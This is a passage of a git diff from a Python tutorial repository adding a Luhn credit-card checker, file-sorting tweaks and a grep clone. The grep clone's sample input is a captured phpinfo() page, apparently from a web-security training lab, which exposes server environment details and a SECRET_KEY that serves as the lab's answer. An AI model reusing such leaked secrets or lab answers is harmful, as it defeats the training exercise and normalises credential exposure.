card numbers. +def process_file(file_path): + + try: + with open(file_path, 'r') as file: # Open the file for reading + card_numbers = file.readlines() # Read all lines from the file + results = {} + for card_number in card_numbers: + card_number = card_number.strip() # Remove any leading/trailing whitespace + is_valid = check_credit_card_number(card_number) # Validate card number + card_type = get_card_type(card_number) # Detect card type + results[card_number] = (is_valid, card_type) # Store result + return results + except Exception as e: + print(f"Error reading file: {e}") # Print error message if file cannot be read + return None + + +def main(): + parser = argparse.ArgumentParser(description="Check if a credit card number is legitimate and identify its type using the Luhn algorithm.") + parser.add_argument('-n', '--number', type=str, help="A single credit card number to validate.") # Argument for single card number + parser.add_argument('-f', '--file', type=str, help="A file containing multiple credit card numbers to validate.") # Argument for file input + + args = parser.parse_args() # Parse command-line arguments + + if args.number: + is_valid = check_credit_card_number(args.number) # Validate single card number + card_type = get_card_type(args.number) # Detect card type + print(f"[!] Credit card number {args.number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print result + + if args.file: + results = process_file(args.file) # Process file with card numbers + if results: + for card_number, (is_valid, card_type) in results.items(): + print(f"[!] Credit card number {card_number} is {'valid' if is_valid else 'invalid'} and is of type {card_type}.") # Print results for each card number + +# Execute tha main function +if __name__ == '__main__': + main() diff --git a/python-standard-library/credit-card-validation/credit_cards.txt b/python-standard-library/credit-card-validation/credit_cards.txt new file mode 100644 index 00000000..b0a33fe6 --- /dev/null +++ b/python-standard-library/credit-card-validation/credit_cards.txt @@ -0,0 +1,3 @@ +4111111111111111 +5555555555554444 +378282246310005 \ No newline at end of file diff --git a/python-standard-library/extension-separator/extension_separator.py b/python-standard-library/extension-separator/extension_separator.py index 1fc26931..9a50058c 100644 --- a/python-standard-library/extension-separator/extension_separator.py +++ b/python-standard-library/extension-separator/extension_separator.py @@ -11,19 +11,24 @@ "ico": "images", "gif": "images", "svg": "images", + "jfif": "images", "sql": "sql", "exe": "programs", "msi": "programs", "pdf": "pdf", + "epub": "epub", "xlsx": "excel", "csv": "excel", "rar": "archive", "zip": "archive", "gz": "archive", "tar": "archive", + "7z": "archive", "docx": "word", "torrent": "torrent", "txt": "text", + "log": "text", + "md": "text", "ipynb": "python", "py": "python", "pptx": "powerpoint", @@ -34,10 +39,12 @@ "m3u8": "video", "webm": "video", "ts": "video", + "avi": "video", "json": "json", "css": "web", "js": "web", "html": "web", + "webp": "web", "apk": "apk", "sqlite3": "sqlite3", } @@ -62,4 +69,8 @@ dst = os.path.join(path, folder_name, basename) if verbose: print(f"[*] Moving {file} to {dst}") - shutil.move(file, dst) \ No newline at end of file + try: + shutil.move(file, dst) + except Exception as e: + print(f"[!] Error: {e}") + continue \ No newline at end of file diff --git a/python-standard-library/grep-clone/README.md b/python-standard-library/grep-clone/README.md new file mode 100644 index 00000000..e6023461 --- /dev/null +++ b/python-standard-library/grep-clone/README.md @@ -0,0 +1 @@ +# [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python) \ No newline at end of file diff --git a/python-standard-library/grep-clone/grep_python.py b/python-standard-library/grep-clone/grep_python.py new file mode 100644 index 00000000..b3f3fa14 --- /dev/null +++ b/python-standard-library/grep-clone/grep_python.py @@ -0,0 +1,33 @@ +# Import the necessary libraries. +import re, sys +from colorama import init, Fore + +# Initialize colorama. +init() + +# Grep function. +def grep(pattern, filename): + try: + found_match = False + with open(filename, 'r') as file: + for line in file: + if re.search(pattern, line): + # Print matching lines in green. + print(Fore.GREEN + line.strip() + "\n") # We are including new lines to enhance readability. + found_match = True + if not found_match: + # Print message in red if no content is found. + print(Fore.RED + f"No content found matching the pattern '{pattern}'.") + except FileNotFoundError: + # Print error message in red if the file is not found. + print(Fore.RED + f"File '{filename}' not found.") + + +if len(sys.argv) != 3: + # Print usage message in red if the number of arguments is incorrect. + print(Fore.RED + "Usage: python grep_python.py ") + sys.exit(1) + +pattern = sys.argv[1] +filename = sys.argv[2] +grep(pattern, filename) diff --git a/python-standard-library/grep-clone/phpinfo.php b/python-standard-library/grep-clone/phpinfo.php new file mode 100644 index 00000000..6d4df079 --- /dev/null +++ b/python-standard-library/grep-clone/phpinfo.php @@ -0,0 +1,800 @@ + + + +PHP 7.4.3-4ubuntu2.20 - phpinfo() +
+ + +
+PHP logo

PHP Version 7.4.3-4ubuntu2.20

+
+ + + + + + + + + + + + + + + + + + + + + + + + +
System Linux cf00c9c42b69 4.14.336-257.562.amzn2.x86_64 #1 SMP Sat Feb 24 09:50:35 UTC 2024 x86_64
Build Date Feb 21 2024 13:54:34
Server API CGI/FastCGI
Virtual Directory Support disabled
Configuration File (php.ini) Path /etc/php/7.4/cgi
Loaded Configuration File /etc/php/7.4/cgi/php.ini
Scan this dir for additional .ini files /etc/php/7.4/cgi/conf.d
Additional .ini files parsed /etc/php/7.4/cgi/conf.d/10-opcache.ini, +/etc/php/7.4/cgi/conf.d/10-pdo.ini, +/etc/php/7.4/cgi/conf.d/15-xml.ini, +/etc/php/7.4/cgi/conf.d/20-calendar.ini, +/etc/php/7.4/cgi/conf.d/20-ctype.ini, +/etc/php/7.4/cgi/conf.d/20-dom.ini, +/etc/php/7.4/cgi/conf.d/20-exif.ini, +/etc/php/7.4/cgi/conf.d/20-ffi.ini, +/etc/php/7.4/cgi/conf.d/20-fileinfo.ini, +/etc/php/7.4/cgi/conf.d/20-ftp.ini, +/etc/php/7.4/cgi/conf.d/20-gettext.ini, +/etc/php/7.4/cgi/conf.d/20-iconv.ini, +/etc/php/7.4/cgi/conf.d/20-json.ini, +/etc/php/7.4/cgi/conf.d/20-phar.ini, +/etc/php/7.4/cgi/conf.d/20-posix.ini, +/etc/php/7.4/cgi/conf.d/20-readline.ini, +/etc/php/7.4/cgi/conf.d/20-shmop.ini, +/etc/php/7.4/cgi/conf.d/20-simplexml.ini, +/etc/php/7.4/cgi/conf.d/20-sockets.ini, +/etc/php/7.4/cgi/conf.d/20-sysvmsg.ini, +/etc/php/7.4/cgi/conf.d/20-sysvsem.ini, +/etc/php/7.4/cgi/conf.d/20-sysvshm.ini, +/etc/php/7.4/cgi/conf.d/20-tokenizer.ini, +/etc/php/7.4/cgi/conf.d/20-xmlreader.ini, +/etc/php/7.4/cgi/conf.d/20-xmlwriter.ini, +/etc/php/7.4/cgi/conf.d/20-xsl.ini, +/etc/php/7.4/cgi/conf.d/99-academy.ini +
PHP API 20190902
PHP Extension 20190902
Zend Extension 320190902
Zend Extension Build API320190902,NTS
PHP Extension Build API20190902,NTS
Debug Build no
Thread Safety disabled
Zend Signal Handling enabled
Zend Memory Manager enabled
Zend Multibyte Support disabled
IPv6 Support enabled
DTrace Support available, disabled
Registered PHP Streamshttps, ftps, compress.zlib, php, file, glob, data, http, ftp, phar
Registered Stream Socket Transportstcp, udp, unix, udg, ssl, tls, tlsv1.0, tlsv1.1, tlsv1.2, tlsv1.3
Registered Stream Filterszlib.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk, convert.iconv.*
+ + +
+Zend logo +This program makes use of the Zend Scripting Language Engine:
Zend Engine v3.4.0, Copyright (c) Zend Technologies
    with Zend OPcache v7.4.3-4ubuntu2.20, Copyright (c), by Zend Technologies
+
+

Configuration

+

calendar

+ + +
Calendar support enabled
+

cgi-fcgi

+ + + + + + + + + + +
DirectiveLocal ValueMaster Value
cgi.check_shebang_line11
cgi.discard_path00
cgi.fix_pathinfo11
cgi.force_redirect11
cgi.nph00
cgi.redirect_status_envno valueno value
cgi.rfc2616_headers00
fastcgi.logging11
+

Core

+ + +
PHP Version 7.4.3-4ubuntu2.20
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
allow_url_fopenOnOn
allow_url_includeOffOff
arg_separator.input&&
arg_separator.output&&
auto_append_fileno valueno value
auto_globals_jitOnOn
auto_prepend_fileno valueno value
browscapno valueno value
default_charsetUTF-8UTF-8
default_mimetypetext/htmltext/html
disable_classesno valueno value
disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
display_errorsOffOff
display_startup_errorsOffOff
doc_rootno valueno value
docref_extno valueno value
docref_rootno valueno value
enable_dlOffOff
enable_post_data_readingOnOn
error_append_stringno valueno value
error_logno valueno value
error_prepend_stringno valueno value
error_reporting2252722527
expose_phpOffOff
extension_dir/usr/lib/php/20190902/usr/lib/php/20190902
file_uploadsOnOn
hard_timeout22
highlight.comment#FF8000#FF8000
highlight.default#0000BB#0000BB
highlight.html#000000#000000
highlight.keyword#007700#007700
highlight.string#DD0000#DD0000
html_errorsOnOn
ignore_repeated_errorsOffOff
ignore_repeated_sourceOffOff
ignore_user_abortOffOff
implicit_flushOffOff
include_path.:/usr/share/php.:/usr/share/php
input_encodingno valueno value
internal_encodingno valueno value
log_errorsOnOn
log_errors_max_len10241024
mail.add_x_headerOffOff
mail.force_extra_parametersno valueno value
mail.logno valueno value
max_execution_time3030
max_file_uploads2020
max_input_nesting_level6464
max_input_time6060
max_input_vars10001000
max_multipart_body_parts-1-1
memory_limit128M128M
open_basedirno valueno value
output_buffering40964096
output_encodingno valueno value
output_handlerno valueno value
post_max_size8M8M
precision1414
realpath_cache_size4096K4096K
realpath_cache_ttl120120
register_argc_argvOffOff
report_memleaksOnOn
report_zend_debugOnOn
request_orderGPGP
sendmail_fromno valueno value
sendmail_path/usr/sbin/sendmail -t -i /usr/sbin/sendmail -t -i 
serialize_precision-1-1
short_open_tagOffOff
SMTPlocalhostlocalhost
smtp_port2525
sys_temp_dirno valueno value
syslog.facilityLOG_USERLOG_USER
syslog.filterno-ctrlno-ctrl
syslog.identphpphp
track_errorsOffOff
unserialize_callback_funcno valueno value
upload_max_filesize2M2M
upload_tmp_dirno valueno value
user_dirno valueno value
user_ini.cache_ttl300300
user_ini.filename.user.ini.user.ini
variables_orderGPCSGPCS
xmlrpc_error_number00
xmlrpc_errorsOffOff
zend.assertions-1-1
zend.detect_unicodeOnOn
zend.enable_gcOnOn
zend.exception_ignore_argsOffOff
zend.multibyteOffOff
zend.script_encodingno valueno value
zend.signal_checkOffOff
+

ctype

+ + +
ctype functions enabled
+

date

+ + + + + + +
date/time support enabled
timelib version 2018.03
"Olson" Timezone Database Version 0.system
Timezone Database internal
Default timezone UTC
+ + + + + + + +
DirectiveLocal ValueMaster Value
date.default_latitude31.766731.7667
date.default_longitude35.233335.2333
date.sunrise_zenith90.58333390.583333
date.sunset_zenith90.58333390.583333
date.timezoneno valueno value
+

dom

+ + + + + + + + + +
DOM/XML enabled
DOM/XML API Version 20031129
libxml Version 2.9.10
HTML Support enabled
XPath Support enabled
XPointer Support enabled
Schema Support enabled
RelaxNG Support enabled
+

exif

+ + + + + + +
EXIF Support enabled
Supported EXIF Version 0220
Supported filetypes JPEG, TIFF
Multibyte decoding support using mbstring disabled
Extended EXIF tag formats Canon, Casio, Fujifilm, Nikon, Olympus, Samsung, Panasonic, DJI, Sony, Pentax, Minolta, Sigma, Foveon, Kyocera, Ricoh, AGFA, Epson
+ + + + + + + + +
DirectiveLocal ValueMaster Value
exif.decode_jis_intelJISJIS
exif.decode_jis_motorolaJISJIS
exif.decode_unicode_intelUCS-2LEUCS-2LE
exif.decode_unicode_motorolaUCS-2BEUCS-2BE
exif.encode_jisno valueno value
exif.encode_unicodeISO-8859-15ISO-8859-15
+

FFI

+ + +
FFI supportenabled
+ + + + +
DirectiveLocal ValueMaster Value
ffi.enablepreloadpreload
ffi.preloadno valueno value
+

fileinfo

+ + + +
fileinfo support enabled
libmagic 537
+

filter

+ + +
Input Validation and Filtering enabled
+ + + + +
DirectiveLocal ValueMaster Value
filter.defaultunsafe_rawunsafe_raw
filter.default_flagsno valueno value
+

ftp

+ + + +
FTP support enabled
FTPS support enabled
+

gettext

+ + +
GetText Support enabled
+

hash

+ + + +
hash support enabled
Hashing Engines md2 md4 md5 sha1 sha224 sha256 sha384 sha512/224 sha512/256 sha512 sha3-224 sha3-256 sha3-384 sha3-512 ripemd128 ripemd160 ripemd256 ripemd320 whirlpool tiger128,3 tiger160,3 tiger192,3 tiger128,4 tiger160,4 tiger192,4 snefru snefru256 gost gost-crypto adler32 crc32 crc32b crc32c fnv132 fnv1a32 fnv164 fnv1a64 joaat haval128,3 haval160,3 haval192,3 haval224,3 haval256,3 haval128,4 haval160,4 haval192,4 haval224,4 haval256,4 haval128,5 haval160,5 haval192,5 haval224,5 haval256,5
+ + + +
MHASH support Enabled
MHASH API Version Emulated Support
+

iconv

+ + + + +
iconv support enabled
iconv implementation glibc
iconv library version 2.31
+ + + + + +
DirectiveLocal ValueMaster Value
iconv.input_encodingno valueno value
iconv.internal_encodingno valueno value
iconv.output_encodingno valueno value
+

json

+ + +
json support enabled
+

libxml

+ + + + + +
libXML support active
libXML Compiled Version 2.9.10
libXML Loaded Version 20910
libXML streams enabled
+

openssl

+ + + + + +
OpenSSL support enabled
OpenSSL Library Version OpenSSL 1.1.1f 31 Mar 2020
OpenSSL Header Version OpenSSL 1.1.1f 31 Mar 2020
Openssl default config /usr/lib/ssl/openssl.cnf
+ + + + +
DirectiveLocal ValueMaster Value
openssl.cafileno valueno value
openssl.capathno valueno value
+

pcntl

+ + +
pcntl supportenabled
+

pcre

+ + + + + + +
PCRE (Perl Compatible Regular Expressions) Support enabled
PCRE Library Version 10.34 2019-11-21
PCRE Unicode Version 12.1.0
PCRE JIT Support enabled
PCRE JIT Target x86 64bit (little endian + unaligned)
+ + + + + +
DirectiveLocal ValueMaster Value
pcre.backtrack_limit10000001000000
pcre.jit11
pcre.recursion_limit100000100000
+

PDO

+ + + +
PDO supportenabled
PDO drivers no value
+

Phar

+ + + + + + + + + +
Phar: PHP Archive supportenabled
Phar API version 1.1.1
Phar-based phar archives enabled
Tar-based phar archives enabled
ZIP-based phar archives enabled
gzip compression enabled
bzip2 compression disabled (install ext/bz2)
Native OpenSSL support enabled
+ + +
+Phar based on pear/PHP_Archive, original concept by Davey Shafik.
Phar fully realized by Gregory Beaver and Marcus Boerger.
Portions of tar implementation Copyright (c) 2003-2009 Tim Kientzle.
+ + + + + +
DirectiveLocal ValueMaster Value
phar.cache_listno valueno value
phar.readonlyOnOn
phar.require_hashOnOn
+

posix

+ + +
POSIX support enabled
+

readline

+ + + +
Readline Supportenabled
Readline library EditLine wrapper
+ + + + +
DirectiveLocal ValueMaster Value
cli.pagerno valueno value
cli.prompt\b \> \b \> 
+

Reflection

+ + +
Reflection enabled
+

session

+ + + + +
Session Support enabled
Registered save handlers files user
Registered serializer handlers php_serialize php php_binary
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
session.auto_startOffOff
session.cache_expire180180
session.cache_limiternocachenocache
session.cookie_domainno valueno value
session.cookie_httponlyno valueno value
session.cookie_lifetime00
session.cookie_path//
session.cookie_samesiteno valueno value
session.cookie_secure00
session.gc_divisor10001000
session.gc_maxlifetime14401440
session.gc_probability00
session.lazy_writeOnOn
session.namePHPSESSIDPHPSESSID
session.referer_checkno valueno value
session.save_handlerfilesfiles
session.save_path/var/lib/php/sessions/var/lib/php/sessions
session.serialize_handlerphpphp
session.sid_bits_per_character55
session.sid_length2626
session.upload_progress.cleanupOnOn
session.upload_progress.enabledOnOn
session.upload_progress.freq1%1%
session.upload_progress.min_freq11
session.upload_progress.namePHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefixupload_progress_upload_progress_
session.use_cookies11
session.use_only_cookies11
session.use_strict_mode00
session.use_trans_sid00
+

shmop

+ + +
shmop support enabled
+

SimpleXML

+ + + +
SimpleXML support enabled
Schema support enabled
+

sockets

+ + +
Sockets Support enabled
+

sodium

+ + + + +
sodium supportenabled
libsodium headers version 1.0.18
libsodium library version 1.0.18
+

SPL

+ + + + +
SPL supportenabled
Interfaces OuterIterator, RecursiveIterator, SeekableIterator, SplObserver, SplSubject
Classes AppendIterator, ArrayIterator, ArrayObject, BadFunctionCallException, BadMethodCallException, CachingIterator, CallbackFilterIterator, DirectoryIterator, DomainException, EmptyIterator, FilesystemIterator, FilterIterator, GlobIterator, InfiniteIterator, InvalidArgumentException, IteratorIterator, LengthException, LimitIterator, LogicException, MultipleIterator, NoRewindIterator, OutOfBoundsException, OutOfRangeException, OverflowException, ParentIterator, RangeException, RecursiveArrayIterator, RecursiveCachingIterator, RecursiveCallbackFilterIterator, RecursiveDirectoryIterator, RecursiveFilterIterator, RecursiveIteratorIterator, RecursiveRegexIterator, RecursiveTreeIterator, RegexIterator, RuntimeException, SplDoublyLinkedList, SplFileInfo, SplFileObject, SplFixedArray, SplHeap, SplMinHeap, SplMaxHeap, SplObjectStorage, SplPriorityQueue, SplQueue, SplStack, SplTempFileObject, UnderflowException, UnexpectedValueException
+

standard

+ + + +
Dynamic Library Support enabled
Path to sendmail /usr/sbin/sendmail -t -i
+ + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
assert.active11
assert.bail00
assert.callbackno valueno value
assert.exception00
assert.quiet_eval00
assert.warning11
auto_detect_line_endings00
default_socket_timeout6060
fromno valueno value
session.trans_sid_hostsno valueno value
session.trans_sid_tagsa=href,area=href,frame=src,form=a=href,area=href,frame=src,form=
unserialize_max_depth40964096
url_rewriter.hostsno valueno value
url_rewriter.tagsform=form=
user_agentno valueno value
+

sysvmsg

+ + +
sysvmsg support enabled
+

sysvsem

+ + +
sysvsem support enabled
+

sysvshm

+ + +
sysvshm support enabled
+

tokenizer

+ + +
Tokenizer Support enabled
+

xml

+ + + + +
XML Support active
XML Namespace Support active
libxml2 Version 2.9.10
+

xmlreader

+ + +
XMLReader enabled
+

xmlwriter

+ + +
XMLWriter enabled
+

xsl

+ + + + + + +
XSL enabled
libxslt Version 1.1.34
libxslt compiled against libxml Version 2.9.10
EXSLT enabled
libexslt Version 1.1.34
+

Zend OPcache

+ + + + + + + + + + + + + + + + + + + + +
Opcode Caching Up and Running
Optimization Enabled
SHM Cache Enabled
File Cache Disabled
Startup OK
Shared memory model mmap
Cache hits 0
Cache misses 1
Used memory 9168472
Free memory 125049256
Wasted memory 0
Interned Strings Used memory 224744
Interned Strings Free memory 6066264
Cached scripts 1
Cached keys 1
Max keys 16229
OOM restarts 0
Hash keys restarts 0
Manual restarts 0
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DirectiveLocal ValueMaster Value
opcache.blacklist_filenameno valueno value
opcache.consistency_checks00
opcache.dups_fixOffOff
opcache.enableOnOn
opcache.enable_cliOffOff
opcache.enable_file_overrideOffOff
opcache.error_logno valueno value
opcache.file_cacheno valueno value
opcache.file_cache_consistency_checks11
opcache.file_cache_only00
opcache.file_update_protection22
opcache.force_restart_timeout180180
opcache.huge_code_pagesOffOff
opcache.interned_strings_buffer88
opcache.lockfile_path/tmp/tmp
opcache.log_verbosity_level11
opcache.max_accelerated_files1000010000
opcache.max_file_size00
opcache.max_wasted_percentage55
opcache.memory_consumption128128
opcache.opt_debug_level00
opcache.optimization_level0x7FFEBFFF0x7FFEBFFF
opcache.preferred_memory_modelno valueno value
opcache.preloadno valueno value
opcache.preload_userno valueno value
opcache.protect_memory00
opcache.restrict_apino valueno value
opcache.revalidate_freq22
opcache.revalidate_pathOffOff
opcache.save_comments11
opcache.use_cwdOnOn
opcache.validate_permissionOffOff
opcache.validate_rootOffOff
opcache.validate_timestampsOnOn
+

zlib

+ + + + + + +
ZLib Supportenabled
Stream Wrapper compress.zlib://
Stream Filter zlib.inflate, zlib.deflate
Compiled Version 1.2.11
Linked Version 1.2.11
+ + + + + +
DirectiveLocal ValueMaster Value
zlib.output_compressionOffOff
zlib.output_compression_level-1-1
zlib.output_handlerno valueno value
+

Additional Modules

+ + +
Module Name
+

Environment

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
GATEWAY_INTERFACE CGI/1.1
SUDO_GID 10000
REMOTE_HOST 105.235.135.13
USER carlos
HTTP_ACCEPT_CHARSET *
SECRET_KEY qpv07o7eirlfsovg81p7ay7m9l8jaw8b
QUERY_STRING no value
HOME /home/carlos
HTTP_USER_AGENT Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
HTTP_ACCEPT */*
SCRIPT_FILENAME /home/carlos/cgi-bin/phpinfo.php
HTTP_HOST 0a8700550346ebd1804c946100f40010.web-security-academy.net
SUDO_UID 10000
LOGNAME carlos
SERVER_SOFTWARE PortSwiggerHttpServer/1.0
TERM unknown
PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HTTP_ACCEPT_LANGUAGE en-US
HTTP_REFERER https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
SERVER_PROTOCOL HTTP/1.1
HTTP_ACCEPT_ENCODING identity
SUDO_COMMAND /usr/bin/sh -c /usr/bin/php-cgi
SHELL /bin/bash
REDIRECT_STATUS true
SUDO_USER academy
REQUEST_METHOD GET
PWD /home/carlos/cgi-bin
SERVER_PORT 443
SCRIPT_NAME /cgi-bin/phpinfo.php
SERVER_NAME 10.0.4.200
+

PHP Variables

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
VariableValue
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SUDO_GID']10000
$_SERVER['REMOTE_HOST']105.235.135.13
$_SERVER['USER']carlos
$_SERVER['HTTP_ACCEPT_CHARSET']*
$_SERVER['SECRET_KEY']qpv07o7eirlfsovg81p7ay7m9l8jaw8b
$_SERVER['QUERY_STRING']no value
$_SERVER['HOME']/home/carlos
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
$_SERVER['HTTP_ACCEPT']*/*
$_SERVER['SCRIPT_FILENAME']/home/carlos/cgi-bin/phpinfo.php
$_SERVER['HTTP_HOST']0a8700550346ebd1804c946100f40010.web-security-academy.net
$_SERVER['SUDO_UID']10000
$_SERVER['LOGNAME']carlos
$_SERVER['SERVER_SOFTWARE']PortSwiggerHttpServer/1.0
$_SERVER['TERM']unknown
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US
$_SERVER['HTTP_REFERER']https://0a8700550346ebd1804c946100f40010.web-security-academy.net/cgi-bin/
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['HTTP_ACCEPT_ENCODING']identity
$_SERVER['SUDO_COMMAND']/usr/bin/sh -c /usr/bin/php-cgi
$_SERVER['SHELL']/bin/bash
$_SERVER['REDIRECT_STATUS']true
$_SERVER['SUDO_USER']academy
$_SERVER['REQUEST_METHOD']GET
$_SERVER['PWD']/home/carlos/cgi-bin
$_SERVER['SERVER_PORT']443
$_SERVER['SCRIPT_NAME']/cgi-bin/phpinfo.php
$_SERVER['SERVER_NAME']10.0.4.200
$_SERVER['PHP_SELF']/cgi-bin/phpinfo.php
$_SERVER['REQUEST_TIME_FLOAT']1712744607.1831
$_SERVER['REQUEST_TIME']1712744607
+
+

PHP Credits

+ + + +
PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
+ + + +
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
+ + + + + + + + + + + + +
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
+ + + + + + + + + + +
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
FFI Dmitry Stogov
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
